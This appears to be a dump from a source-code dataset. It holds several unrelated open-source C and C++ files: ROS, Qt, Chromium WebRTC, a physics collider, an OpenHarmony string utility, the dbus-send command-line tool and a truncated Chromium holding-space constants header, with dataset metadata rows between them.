* bool mMarkerInit; initServices(), initPublisher(), initSubsriber(),
* readLaunchParams() and printNodeInfos() if no error occours during
* execution.
*
* @return Returns true if no error occours.
*/
bool init(void);
/**
* @brief initServices Initializes the provided services.
* @return Returns true if no error occours.
*/
bool initServices(void);
/**
* @brief initPublisher Initializes the provided publishers.
* @return Returns true if no error occours.
*/
bool initPublisher(void);
/**
* @brief processAllocationGoals Evaluates allocation goals and publishes
* feedback and result messages.
*/
void processAllocationGoals() const;
/**
* @brief advertiseService Adertises services.
* @return Returns true ich the service was advertised successfully.
* @throw mars::common::exception::AdvertiseServiceException
*/
template <class T, class MReq, class MRes>
bool advertiseService(
bool (T::*srvFunc)(MReq&, MRes&), ros::ServiceServer& serviceServer,
std::string serviceName,
T* obj) noexcept(false);
/**
* @brief initSubsriber Initializes the subscribers.
* @return Returns true if no error occours.
*/
bool initSubscriber(void);
/**
* @brief initActions Initializes the provided actions.
* @return Returns true if no error occours.
*/
bool initActions(void);
/**
* @brief initTimer Initializes the used timers.
* @return ture if no errors occoured.
*/
bool initTimer(void);
/**
* @brief readLaunchParams Reads the paramters from the launch file.
* @return Returns true if no error occours.
*/
bool readLaunchParams(void);
/**
* @brief getParam Reads the named paramter form the parameter server.
* If the parameter could not be found a default value is assigned.
*/
template <typename T>
T getParam(const ros::NodeHandle& nH, const std::string& paramName,
const T& defaultValue) const;
/**
*@brief getParam Reads the named parameter from the parameter server.
* If the parameter could not be found a ReadParamException is thrown.
* @throw mars::common::exception::ReadParamException
*/
template <typename T>
void getParam(const ros::NodeHandle& nH, const std::string& paramName,
T& param) const
noexcept(false);
/**
* @brief rosMainLoop Calls rosSpinOnce() with the rate you set with
* 'node_rate'.
*/
void rosMainLoop(void) const;
/**
* @brief setNodeLogLevel Set the log level of the ros console for the node.
* @return Return true if log level was successfully set.
*/
bool setNodeLogLevel(void) const;
};
} // namespace vertex
} // namespace topology
} // namespace mars
#endif // MARS_TOPOLOGY_COMMON_MARSTOPOLOGYVERTEX_H
| 33.07438 | 112 | 0.744128 | [
"object"
] |
d3ef081837bba18f8b1b71856c44419d6964c43e | 513 | h | C | optimization.h | SelYui/OptimizationStochasticSystems | 6fc7467156268f1df533b0cebee41d59dede82b3 | [
"MIT"
] | null | null | null | optimization.h | SelYui/OptimizationStochasticSystems | 6fc7467156268f1df533b0cebee41d59dede82b3 | [
"MIT"
] | null | null | null | optimization.h | SelYui/OptimizationStochasticSystems | 6fc7467156268f1df533b0cebee41d59dede82b3 | [
"MIT"
] | null | null | null | #ifndef OPTIMIZATION_H
#define OPTIMIZATION_H
#include <QVector>
#include <math.h>
#include <random>
#include <vector>
#include <iostream>
extern QVector<double> e, X; // ошибка оценивание и состояние системы
//extern double A, B, Deps, Dnu, X0, ocX0, D0, mu;
//extern unsigned int N;
// Объявление функции моделирования оптимального фильтра и регулятора
void Optimization(unsigned int N, double A, double B, double Deps, double Dnu, double X0, double ocX0, double D0, double mu);
#endif // OPTIMIZATION_H
| 27 | 125 | 0.748538 | [
"vector"
] |
d3f1c7c2e656da7eddd6e61d0f08f2aabd8c3d6e | 3,041 | h | C | content/renderer/media/webrtc/webrtc_video_capturer_adapter.h | google-ar/chromium | 2441c86a5fd975f09a6c30cddb57dfb7fc239699 | [
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 777 | 2017-08-29T15:15:32.000Z | 2022-03-21T05:29:41.000Z | content/renderer/media/webrtc/webrtc_video_capturer_adapter.h | harrymarkovskiy/WebARonARCore | 2441c86a5fd975f09a6c30cddb57dfb7fc239699 | [
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 66 | 2017-08-30T18:31:18.000Z | 2021-08-02T10:59:35.000Z | content/renderer/media/webrtc/webrtc_video_capturer_adapter.h | harrymarkovskiy/WebARonARCore | 2441c86a5fd975f09a6c30cddb57dfb7fc239699 | [
"Apache-2.0",
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 123 | 2017-08-30T01:19:34.000Z | 2022-03-17T22:55:31.000Z | // Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CONTENT_RENDERER_MEDIA_WEBRTC_WEBRTC_VIDEO_CAPTURER_ADAPTER_H_
#define CONTENT_RENDERER_MEDIA_WEBRTC_WEBRTC_VIDEO_CAPTURER_ADAPTER_H_
#include <stdint.h>
#include <vector>
#include "base/compiler_specific.h"
#include "base/macros.h"
#include "base/threading/thread_checker.h"
#include "content/common/content_export.h"
#include "media/base/video_frame.h"
#include "media/base/video_frame_pool.h"
#include "media/capture/video_capture_types.h"
#include "third_party/WebKit/public/platform/WebMediaStreamTrack.h"
#include "third_party/webrtc/media/base/videocapturer.h"
namespace content {
// WebRtcVideoCapturerAdapter implements a simple cricket::VideoCapturer that is
// used for VideoCapturing in libJingle and especially in PeerConnections.
// The class is created and destroyed on the main render thread.
// PeerConnection access cricket::VideoCapturer from a libJingle worker thread.
// An instance of WebRtcVideoCapturerAdapter is owned by an instance of
// webrtc::VideoTrackSourceInterface in libJingle. The implementation of
// webrtc::VideoTrackSourceInterface guarantees that this object is not deleted
// while it is still used in libJingle.
class CONTENT_EXPORT WebRtcVideoCapturerAdapter
: NON_EXPORTED_BASE(public cricket::VideoCapturer) {
public:
WebRtcVideoCapturerAdapter(
bool is_screencast,
blink::WebMediaStreamTrack::ContentHintType content_hint);
~WebRtcVideoCapturerAdapter() override;
// OnFrameCaptured delivers video frames to libjingle. It must be called on
// libjingles worker thread.
// This method is virtual for testing purposes.
virtual void OnFrameCaptured(const scoped_refptr<media::VideoFrame>& frame);
void SetContentHint(blink::WebMediaStreamTrack::ContentHintType content_hint);
private:
// cricket::VideoCapturer implementation.
// These methods are accessed from a libJingle worker thread.
cricket::CaptureState Start(
const cricket::VideoFormat& capture_format) override;
void Stop() override;
bool IsRunning() override;
bool GetPreferredFourccs(std::vector<uint32_t>* fourccs) override;
bool GetBestCaptureFormat(const cricket::VideoFormat& desired,
cricket::VideoFormat* best_format) override;
bool IsScreencast() const override;
bool ShouldAdaptResolution() const;
// Helper class used for copying texture backed frames.
class TextureFrameCopier;
const scoped_refptr<TextureFrameCopier> texture_copier_;
// |thread_checker_| is bound to the libjingle worker thread.
base::ThreadChecker thread_checker_;
const bool is_screencast_;
blink::WebMediaStreamTrack::ContentHintType content_hint_;
bool running_;
media::VideoFramePool scaled_frame_pool_;
DISALLOW_COPY_AND_ASSIGN(WebRtcVideoCapturerAdapter);
};
} // namespace content
#endif // CONTENT_RENDERER_MEDIA_WEBRTC_WEBRTC_VIDEO_CAPTURER_ADAPTER_H_
| 38.0125 | 80 | 0.795791 | [
"render",
"object",
"vector"
] |
d3f61ab56e51aacbb8163fd453a2c8b86ff18058 | 582 | h | C | include/ErrorReport/ErrorReporter.h | wildoranges/Maho_Shojo | e951a19b16d4ea3306bf281d030eb2d5b93bf12c | [
"MIT"
] | 4 | 2021-09-01T06:56:59.000Z | 2021-12-25T03:40:27.000Z | include/ErrorReport/ErrorReporter.h | wildoranges/Maho_Shojo | e951a19b16d4ea3306bf281d030eb2d5b93bf12c | [
"MIT"
] | null | null | null | include/ErrorReport/ErrorReporter.h | wildoranges/Maho_Shojo | e951a19b16d4ea3306bf281d030eb2d5b93bf12c | [
"MIT"
] | null | null | null |
#ifndef _MHSJ_ERROR_REPORTER_H_
#define _MHSJ_ERROR_REPORTER_H_
#include <iostream>
#include <deque>
#include <unordered_map>
#include <vector>
#include "SyntaxTree.h"
class ErrorReporter
{
public:
using Position = SyntaxTree::Position;
explicit ErrorReporter(std::ostream &error_stream);
void error(Position pos, const std::string &msg);
void warn(Position pos, const std::string &msg);
protected:
virtual void report(Position pos, const std::string &msg, const std::string &prefix);
private:
std::ostream &err;
};
#endif // _MHSJ_ERROR_REPORTER_H_
| 20.785714 | 89 | 0.737113 | [
"vector"
] |
d3f948cd7133ad1f950a096be3e18bc7e7a353b4 | 3,064 | h | C | frameworks/include/common/string_utils.h | openharmony/distributeddatamgr_objectstore | d88c9e9574fbfc34e4b159db44abd0fa30779ee0 | [
"Apache-2.0"
] | null | null | null | frameworks/include/common/string_utils.h | openharmony/distributeddatamgr_objectstore | d88c9e9574fbfc34e4b159db44abd0fa30779ee0 | [
"Apache-2.0"
] | null | null | null | frameworks/include/common/string_utils.h | openharmony/distributeddatamgr_objectstore | d88c9e9574fbfc34e4b159db44abd0fa30779ee0 | [
"Apache-2.0"
] | null | null | null | /*
* Copyright (c) 2021 Huawei Device Co., Ltd.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef STRING_UTILS_H
#define STRING_UTILS_H
#include <initializer_list>
#include <sstream>
#include <string>
#include <vector>
namespace OHOS::ObjectStore {
class StringUtils final {
public:
StringUtils() = delete;
~StringUtils() = delete;
static std::string Trim(const std::string &strBase, const char cTrim = ' ')
{
std::string strTmp = strBase;
strTmp.erase(0, strTmp.find_first_not_of(cTrim));
strTmp.erase(strTmp.find_last_not_of(cTrim) + sizeof(char));
return strTmp;
}
static void Split(const std::string &strBase, const std::string &strSep, std::vector<std::string> &strsRet,
bool bCanEmpty = false, bool bNeedTrim = true)
{
strsRet.clear();
std::string strTmp = bNeedTrim ? Trim(strBase) : strBase;
std::string strPart;
while (true) {
std::string::size_type pos = strTmp.find(strSep);
if (std::string::npos == pos || strSep.empty()) {
strPart = bNeedTrim ? Trim(strTmp) : strTmp;
if (!strPart.empty() || bCanEmpty) {
strsRet.push_back(strPart);
}
break;
} else {
strPart = bNeedTrim ? Trim(strTmp.substr(0, pos)) : strTmp.substr(0, pos);
if (!strPart.empty() || bCanEmpty) {
strsRet.push_back(strPart);
}
strTmp = strTmp.substr(strSep.size() + pos, strTmp.size() - strSep.size() - pos);
}
}
}
static std::string Join(const std::initializer_list<std::string> &items)
{
std::stringstream stream;
for (const std::string &item : items) {
stream << item;
}
return stream.str();
}
static std::string Join(const std::string &separator, const std::initializer_list<std::string> &items)
{
std::stringstream stream;
for (const std::string &item : items) {
if (stream.str().empty()) {
stream << item;
} else {
stream << separator << item;
}
}
return stream.str();
}
static std::vector<uint8_t> StrToBytes(const std::string &src)
{
std::vector<uint8_t> dst;
dst.resize(src.size());
dst.assign(src.begin(), src.end());
return dst;
}
};
} // namespace OHOS::ObjectStore
#endif // STRING_UTILS_H
| 32.595745 | 111 | 0.584204 | [
"vector"
] |
d3ff2589895fae611523d0f7b623cd6935f9e5d3 | 14,919 | c | C | src/3rd_party/dbus-1.7.8/tools/dbus-send.c | 914802951/sdl_core_v4.0_winceport | 1cdc30551eb58b0e1e3b4de8c0a0c66f975cf534 | [
"BSD-3-Clause"
] | 3 | 2016-09-21T12:36:21.000Z | 2021-02-13T11:56:40.000Z | src/3rd_party/dbus-1.7.8/tools/dbus-send.c | 914802951/sdl_core_v4.0_winceport | 1cdc30551eb58b0e1e3b4de8c0a0c66f975cf534 | [
"BSD-3-Clause"
] | 64 | 2016-04-21T10:30:58.000Z | 2020-01-30T11:17:36.000Z | src/3rd_party/dbus-1.7.8/tools/dbus-send.c | 914802951/sdl_core_v4.0_winceport | 1cdc30551eb58b0e1e3b4de8c0a0c66f975cf534 | [
"BSD-3-Clause"
] | 9 | 2016-09-21T07:02:59.000Z | 2020-06-19T06:46:42.000Z | /* -*- mode: C; c-file-style: "gnu"; indent-tabs-mode: nil; -*- */
/* dbus-send.c Utility program to send messages from the command line
*
* Copyright (C) 2003 Philip Blundell <philb@gnu.org>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
*/
#include <config.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dbus/dbus.h>
#ifndef HAVE_STRTOLL
#undef strtoll
#define strtoll mystrtoll
#include "strtoll.c"
#endif
#ifndef HAVE_STRTOULL
#undef strtoull
#define strtoull mystrtoull
#include "strtoull.c"
#endif
#ifdef DBUS_WINCE
#ifndef strdup
#define strdup _strdup
#endif
#endif
#include "dbus-print-message.h"
static const char *appname;
static void
usage (int ecode)
{
fprintf (stderr, "Usage: %s [--help] [--system | --session | --bus=ADDRESS | --peer=ADDRESS] [--dest=NAME] [--type=TYPE] [--print-reply[=literal]] [--reply-timeout=MSEC] <destination object path> <message name> [contents ...]\n", appname);
exit (ecode);
}
static void
append_arg (DBusMessageIter *iter, int type, const char *value)
{
dbus_uint16_t uint16;
dbus_int16_t int16;
dbus_uint32_t uint32;
dbus_int32_t int32;
dbus_uint64_t uint64;
dbus_int64_t int64;
double d;
unsigned char byte;
dbus_bool_t v_BOOLEAN;
/* FIXME - we are ignoring OOM returns on all these functions */
switch (type)
{
case DBUS_TYPE_BYTE:
byte = strtoul (value, NULL, 0);
dbus_message_iter_append_basic (iter, DBUS_TYPE_BYTE, &byte);
break;
case DBUS_TYPE_DOUBLE:
d = strtod (value, NULL);
dbus_message_iter_append_basic (iter, DBUS_TYPE_DOUBLE, &d);
break;
case DBUS_TYPE_INT16:
int16 = strtol (value, NULL, 0);
dbus_message_iter_append_basic (iter, DBUS_TYPE_INT16, &int16);
break;
case DBUS_TYPE_UINT16:
uint16 = strtoul (value, NULL, 0);
dbus_message_iter_append_basic (iter, DBUS_TYPE_UINT16, &uint16);
break;
case DBUS_TYPE_INT32:
int32 = strtol (value, NULL, 0);
dbus_message_iter_append_basic (iter, DBUS_TYPE_INT32, &int32);
break;
case DBUS_TYPE_UINT32:
uint32 = strtoul (value, NULL, 0);
dbus_message_iter_append_basic (iter, DBUS_TYPE_UINT32, &uint32);
break;
case DBUS_TYPE_INT64:
int64 = strtoll (value, NULL, 0);
dbus_message_iter_append_basic (iter, DBUS_TYPE_INT64, &int64);
break;
case DBUS_TYPE_UINT64:
uint64 = strtoull (value, NULL, 0);
dbus_message_iter_append_basic (iter, DBUS_TYPE_UINT64, &uint64);
break;
case DBUS_TYPE_STRING:
dbus_message_iter_append_basic (iter, DBUS_TYPE_STRING, &value);
break;
case DBUS_TYPE_OBJECT_PATH:
dbus_message_iter_append_basic (iter, DBUS_TYPE_OBJECT_PATH, &value);
break;
case DBUS_TYPE_BOOLEAN:
if (strcmp (value, "true") == 0)
{
v_BOOLEAN = TRUE;
dbus_message_iter_append_basic (iter, DBUS_TYPE_BOOLEAN, &v_BOOLEAN);
}
else if (strcmp (value, "false") == 0)
{
v_BOOLEAN = FALSE;
dbus_message_iter_append_basic (iter, DBUS_TYPE_BOOLEAN, &v_BOOLEAN);
}
else
{
fprintf (stderr, "%s: Expected \"true\" or \"false\" instead of \"%s\"\n", appname, value);
exit (1);
}
break;
default:
fprintf (stderr, "%s: Unsupported data type %c\n", appname, (char) type);
exit (1);
}
}
static void
append_array (DBusMessageIter *iter, int type, const char *value)
{
const char *val;
char *dupval = strdup (value);
val = strtok (dupval, ",");
while (val != NULL)
{
append_arg (iter, type, val);
val = strtok (NULL, ",");
}
free (dupval);
}
static void
append_dict (DBusMessageIter *iter, int keytype, int valtype, const char *value)
{
const char *val;
char *dupval = strdup (value);
val = strtok (dupval, ",");
while (val != NULL)
{
DBusMessageIter subiter;
dbus_message_iter_open_container (iter,
DBUS_TYPE_DICT_ENTRY,
NULL,
&subiter);
append_arg (&subiter, keytype, val);
val = strtok (NULL, ",");
if (val == NULL)
{
fprintf (stderr, "%s: Malformed dictionary\n", appname);
exit (1);
}
append_arg (&subiter, valtype, val);
dbus_message_iter_close_container (iter, &subiter);
val = strtok (NULL, ",");
}
free (dupval);
}
static int
type_from_name (const char *arg)
{
int type;
if (!strcmp (arg, "string"))
type = DBUS_TYPE_STRING;
else if (!strcmp (arg, "int16"))
type = DBUS_TYPE_INT16;
else if (!strcmp (arg, "uint16"))
type = DBUS_TYPE_UINT16;
else if (!strcmp (arg, "int32"))
type = DBUS_TYPE_INT32;
else if (!strcmp (arg, "uint32"))
type = DBUS_TYPE_UINT32;
else if (!strcmp (arg, "int64"))
type = DBUS_TYPE_INT64;
else if (!strcmp (arg, "uint64"))
type = DBUS_TYPE_UINT64;
else if (!strcmp (arg, "double"))
type = DBUS_TYPE_DOUBLE;
else if (!strcmp (arg, "byte"))
type = DBUS_TYPE_BYTE;
else if (!strcmp (arg, "boolean"))
type = DBUS_TYPE_BOOLEAN;
else if (!strcmp (arg, "objpath"))
type = DBUS_TYPE_OBJECT_PATH;
else
{
fprintf (stderr, "%s: Unknown type \"%s\"\n", appname, arg);
exit (1);
}
return type;
}
int
main (int argc, char *argv[])
{
DBusConnection *connection;
DBusError error;
DBusMessage *message;
int print_reply;
int print_reply_literal;
int reply_timeout;
DBusMessageIter iter;
int i;
DBusBusType type = DBUS_BUS_SESSION;
const char *dest = NULL;
const char *name = NULL;
const char *path = NULL;
int message_type = DBUS_MESSAGE_TYPE_SIGNAL;
const char *type_str = NULL;
const char *address = NULL;
int is_bus = FALSE;
int session_or_system = FALSE;
appname = argv[0];
if (argc < 3)
usage (1);
print_reply = FALSE;
print_reply_literal = FALSE;
reply_timeout = -1;
for (i = 1; i < argc && name == NULL; i++)
{
char *arg = argv[i];
if (strcmp (arg, "--system") == 0)
{
type = DBUS_BUS_SYSTEM;
session_or_system = TRUE;
}
else if (strcmp (arg, "--session") == 0)
{
type = DBUS_BUS_SESSION;
session_or_system = TRUE;
}
else if ((strstr (arg, "--bus=") == arg) || (strstr (arg, "--peer=") == arg) || (strstr (arg, "--address=") == arg))
{
if (arg[2] == 'b') /* bus */
{
is_bus = TRUE;
}
else if (arg[2] == 'p') /* peer */
{
is_bus = FALSE;
}
else /* address; keeping backwards compatibility */
{
is_bus = FALSE;
}
address = strchr (arg, '=') + 1;
if (address[0] == '\0')
{
fprintf (stderr, "\"--peer=\" and \"--bus=\" require an ADDRESS\n");
usage (1);
}
}
else if (strncmp (arg, "--print-reply", 13) == 0)
{
print_reply = TRUE;
message_type = DBUS_MESSAGE_TYPE_METHOD_CALL;
if (strcmp (arg + 13, "=literal") == 0)
print_reply_literal = TRUE;
else if (*(arg + 13) != '\0')
{
fprintf (stderr, "invalid value (%s) of \"--print-reply\"\n", arg + 13);
usage (1);
}
}
else if (strstr (arg, "--reply-timeout=") == arg)
{
if (*(strchr (arg, '=') + 1) == '\0')
{
fprintf (stderr, "\"--reply-timeout=\" requires an MSEC\n");
usage (1);
}
reply_timeout = strtol (strchr (arg, '=') + 1,
NULL, 10);
if (reply_timeout <= 0)
{
fprintf (stderr, "invalid value (%s) of \"--reply-timeout\"\n",
strchr (arg, '=') + 1);
usage (1);
}
}
else if (strstr (arg, "--dest=") == arg)
{
if (*(strchr (arg, '=') + 1) == '\0')
{
fprintf (stderr, "\"--dest=\" requires an NAME\n");
usage (1);
}
dest = strchr (arg, '=') + 1;
}
else if (strstr (arg, "--type=") == arg)
type_str = strchr (arg, '=') + 1;
else if (!strcmp(arg, "--help"))
usage (0);
else if (arg[0] == '-')
usage (1);
else if (path == NULL)
path = arg;
else /* name == NULL guaranteed by the 'while' loop */
name = arg;
}
if (name == NULL)
usage (1);
if (session_or_system &&
(address != NULL))
{
fprintf (stderr, "\"--peer\" and \"--bus\" may not be used with \"--system\" or \"--session\"\n");
usage (1);
}
if (type_str != NULL)
{
message_type = dbus_message_type_from_string (type_str);
if (!(message_type == DBUS_MESSAGE_TYPE_METHOD_CALL ||
message_type == DBUS_MESSAGE_TYPE_SIGNAL))
{
fprintf (stderr, "Message type \"%s\" is not supported\n",
type_str);
exit (1);
}
}
dbus_error_init (&error);
if (dest && !dbus_validate_bus_name (dest, &error))
{
fprintf (stderr, "invalid value (%s) of \"--dest\"\n", dest);
usage (1);
}
if (address != NULL)
{
connection = dbus_connection_open (address, &error);
}
else
{
connection = dbus_bus_get (type, &error);
}
if (connection == NULL)
{
fprintf (stderr, "Failed to open connection to \"%s\" message bus: %s\n",
(address != NULL) ? address :
((type == DBUS_BUS_SYSTEM) ? "system" : "session"),
error.message);
dbus_error_free (&error);
exit (1);
}
else if ((address != NULL) && is_bus)
{
if (!dbus_bus_register (connection, &error))
{
fprintf (stderr, "Failed to register on connection to \"%s\" message bus: %s\n",
address, error.message);
dbus_error_free (&error);
exit (1);
}
}
if (message_type == DBUS_MESSAGE_TYPE_METHOD_CALL)
{
char *last_dot;
last_dot = strrchr (name, '.');
if (last_dot == NULL)
{
fprintf (stderr, "Must use org.mydomain.Interface.Method notation, no dot in \"%s\"\n",
name);
exit (1);
}
*last_dot = '\0';
message = dbus_message_new_method_call (NULL,
path,
name,
last_dot + 1);
dbus_message_set_auto_start (message, TRUE);
}
else if (message_type == DBUS_MESSAGE_TYPE_SIGNAL)
{
char *last_dot;
last_dot = strrchr (name, '.');
if (last_dot == NULL)
{
fprintf (stderr, "Must use org.mydomain.Interface.Signal notation, no dot in \"%s\"\n",
name);
exit (1);
}
*last_dot = '\0';
message = dbus_message_new_signal (path, name, last_dot + 1);
}
else
{
fprintf (stderr, "Internal error, unknown message type\n");
exit (1);
}
if (message == NULL)
{
fprintf (stderr, "Couldn't allocate D-Bus message\n");
exit (1);
}
if (dest && !dbus_message_set_destination (message, dest))
{
fprintf (stderr, "Not enough memory\n");
exit (1);
}
dbus_message_iter_init_append (message, &iter);
while (i < argc)
{
char *arg;
char *c;
int type;
int secondary_type;
int container_type;
DBusMessageIter *target_iter;
DBusMessageIter container_iter;
type = DBUS_TYPE_INVALID;
arg = argv[i++];
c = strchr (arg, ':');
if (c == NULL)
{
fprintf (stderr, "%s: Data item \"%s\" is badly formed\n", argv[0], arg);
exit (1);
}
*(c++) = 0;
container_type = DBUS_TYPE_INVALID;
if (strcmp (arg, "variant") == 0)
container_type = DBUS_TYPE_VARIANT;
else if (strcmp (arg, "array") == 0)
container_type = DBUS_TYPE_ARRAY;
else if (strcmp (arg, "dict") == 0)
container_type = DBUS_TYPE_DICT_ENTRY;
if (container_type != DBUS_TYPE_INVALID)
{
arg = c;
c = strchr (arg, ':');
if (c == NULL)
{
fprintf (stderr, "%s: Data item \"%s\" is badly formed\n", argv[0], arg);
exit (1);
}
*(c++) = 0;
}
if (arg[0] == 0)
type = DBUS_TYPE_STRING;
else
type = type_from_name (arg);
if (container_type == DBUS_TYPE_DICT_ENTRY)
{
char sig[5];
arg = c;
c = strchr (c, ':');
if (c == NULL)
{
fprintf (stderr, "%s: Data item \"%s\" is badly formed\n", argv[0], arg);
exit (1);
}
*(c++) = 0;
secondary_type = type_from_name (arg);
sig[0] = DBUS_DICT_ENTRY_BEGIN_CHAR;
sig[1] = type;
sig[2] = secondary_type;
sig[3] = DBUS_DICT_ENTRY_END_CHAR;
sig[4] = '\0';
dbus_message_iter_open_container (&iter,
DBUS_TYPE_ARRAY,
sig,
&container_iter);
target_iter = &container_iter;
}
else if (container_type != DBUS_TYPE_INVALID)
{
char sig[2];
sig[0] = type;
sig[1] = '\0';
dbus_message_iter_open_container (&iter,
container_type,
sig,
&container_iter);
target_iter = &container_iter;
}
else
target_iter = &iter;
if (container_type == DBUS_TYPE_ARRAY)
{
append_array (target_iter, type, c);
}
else if (container_type == DBUS_TYPE_DICT_ENTRY)
{
append_dict (target_iter, type, secondary_type, c);
}
else
append_arg (target_iter, type, c);
if (container_type != DBUS_TYPE_INVALID)
{
dbus_message_iter_close_container (&iter,
&container_iter);
}
}
if (print_reply)
{
DBusMessage *reply;
dbus_error_init (&error);
reply = dbus_connection_send_with_reply_and_block (connection,
message, reply_timeout,
&error);
if (dbus_error_is_set (&error))
{
fprintf (stderr, "Error %s: %s\n",
error.name,
error.message);
exit (1);
}
if (reply)
{
print_message (reply, print_reply_literal);
dbus_message_unref (reply);
}
}
else
{
dbus_connection_send (connection, message, NULL);
dbus_connection_flush (connection);
}
dbus_message_unref (message);
dbus_connection_unref (connection);
exit (0);
}
| 25.201014 | 241 | 0.57229 | [
"object"
] |
310141b322ee953f90cef2b9f093f3ef97d354ce | 2,719 | h | C | SimSpark/spark/lib/oxygen/physicsserver/capsulecollider.h | IllyasvielEin/Robocup3dInstaller | 12e91d9372dd08a92feebf98e916c98bc2242ff4 | [
"MIT"
] | null | null | null | SimSpark/spark/lib/oxygen/physicsserver/capsulecollider.h | IllyasvielEin/Robocup3dInstaller | 12e91d9372dd08a92feebf98e916c98bc2242ff4 | [
"MIT"
] | null | null | null | SimSpark/spark/lib/oxygen/physicsserver/capsulecollider.h | IllyasvielEin/Robocup3dInstaller | 12e91d9372dd08a92feebf98e916c98bc2242ff4 | [
"MIT"
] | null | null | null | /* -*- mode: c++; c-basic-offset: 4; indent-tabs-mode: nil -*-
this file is part of rcssserver3D
Fri May 9 2003
Copyright (C) 2002,2003 Koblenz University
Copyright (C) 2003 RoboCup Soccer Server 3D Maintenance Group
$Id$
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#ifndef OXYGEN_CAPSULECOLLIDER_H
#define OXYGEN_CAPSULECOLLIDER_H
#include <oxygen/oxygen_defines.h>
#include <oxygen/physicsserver/convexcollider.h>
namespace oxygen
{
class CapsuleColliderInt;
/** CapsuleCollider encapsulates a capsule geometry
object. A capsule is like a cylinder except it has
half-sphere caps at its ends. This feature makes the internal
collision detection code particularly fast and accurate.
*/
class OXYGEN_API CapsuleCollider : public ConvexCollider
{
//
// Functions
//
public:
CapsuleCollider();
/** sets the parameters of the capsule.
\param radius is the radius of the caps, and of the cylinder itself
\param length is the height of the cylinder, not counting the caps
*/
void SetParams(float radius, float length);
/** sets the radius of the capsule */
void SetRadius(float radius);
/** sets the length of the capsule */
void SetLength(float length);
/** gets the radius and the length of the capsule */
void GetParams(float& radius, float& length);
/** returns the radius of the capsule */
float GetRadius();
/** return the length of the capsule */
float GetLength();
/** returns the depth of the given relative position in the
managed capsule geom. Points inside the geom will have
positive depth, points outside it will have negative depth, and
points on the surface will have zero depth.
*/
float GetPointDepth(const salt::Vector3f& pos);
protected:
/** constructs a default capsule with an radius of 1 and a
length of 1
*/
virtual bool ConstructInternal();
private:
static boost::shared_ptr<CapsuleColliderInt> mCapsuleColliderImp;
};
DECLARE_CLASS(CapsuleCollider);
} //namespace oxygen
#endif //OXYGEN_CAPSULECOLLIDER_H
| 30.550562 | 74 | 0.71644 | [
"geometry",
"object",
"3d"
] |
31143744efd31aef148a54dcf33ddb629ff322e9 | 2,849 | h | C | ash/public/cpp/holding_space/holding_space_constants.h | Ron423c/chromium | 2edf7b980065b648f8b2a6e52193d83832fe36b7 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | ash/public/cpp/holding_space/holding_space_constants.h | Ron423c/chromium | 2edf7b980065b648f8b2a6e52193d83832fe36b7 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | ash/public/cpp/holding_space/holding_space_constants.h | Ron423c/chromium | 2edf7b980065b648f8b2a6e52193d83832fe36b7 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 1 | 2021-03-07T14:20:02.000Z | 2021-03-07T14:20:02.000Z | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef ASH_PUBLIC_CPP_HOLDING_SPACE_HOLDING_SPACE_CONSTANTS_H_
#define ASH_PUBLIC_CPP_HOLDING_SPACE_HOLDING_SPACE_CONSTANTS_H_
#include "ash/public/cpp/app_menu_constants.h"
#include "ui/gfx/geometry/insets.h"
#include "ui/gfx/geometry/size.h"
namespace ash {
// Appearance.
constexpr int kHoldingSpaceBubbleContainerChildSpacing = 8;
constexpr int kHoldingSpaceBubbleWidth = 360;
constexpr gfx::Insets kHoldingSpaceChildBubblePadding(16);
constexpr int kHoldingSpaceChildBubbleChildSpacing = 16;
constexpr int kHoldingSpaceChipIconSize = 24;
constexpr int kHoldingSpaceContextMenuMargin = 8;
constexpr int kHoldingSpaceCornerRadius = 8;
constexpr int kHoldingSpaceDownloadsChevronIconSize = 20;
constexpr int kHoldingSpaceDownloadsHeaderSpacing = 16;
constexpr int kHoldingSpaceFocusCornerRadius = 11;
constexpr int kHoldingSpaceFocusInsets = -4;
constexpr int kHoldingSpaceIconSize = 20;
constexpr gfx::Size kHoldingSpaceScreenCaptureSize(104, 80);
constexpr int kHoldingSpaceSectionChildSpacing = 16;
constexpr float kHoldingSpaceSelectedOverlayOpacity = 0.3f;
constexpr int kHoldingSpaceTrayIconMaxVisiblePreviews = 3;
constexpr int kHoldingSpaceTrayIconDefaultPreviewSize = 32;
constexpr int kHoldingSpaceTrayIconSmallPreviewSize = 28;
constexpr int kHoldingSpaceTrayIconSize = 20;
// Context menu commands.
enum class HoldingSpaceCommandId {
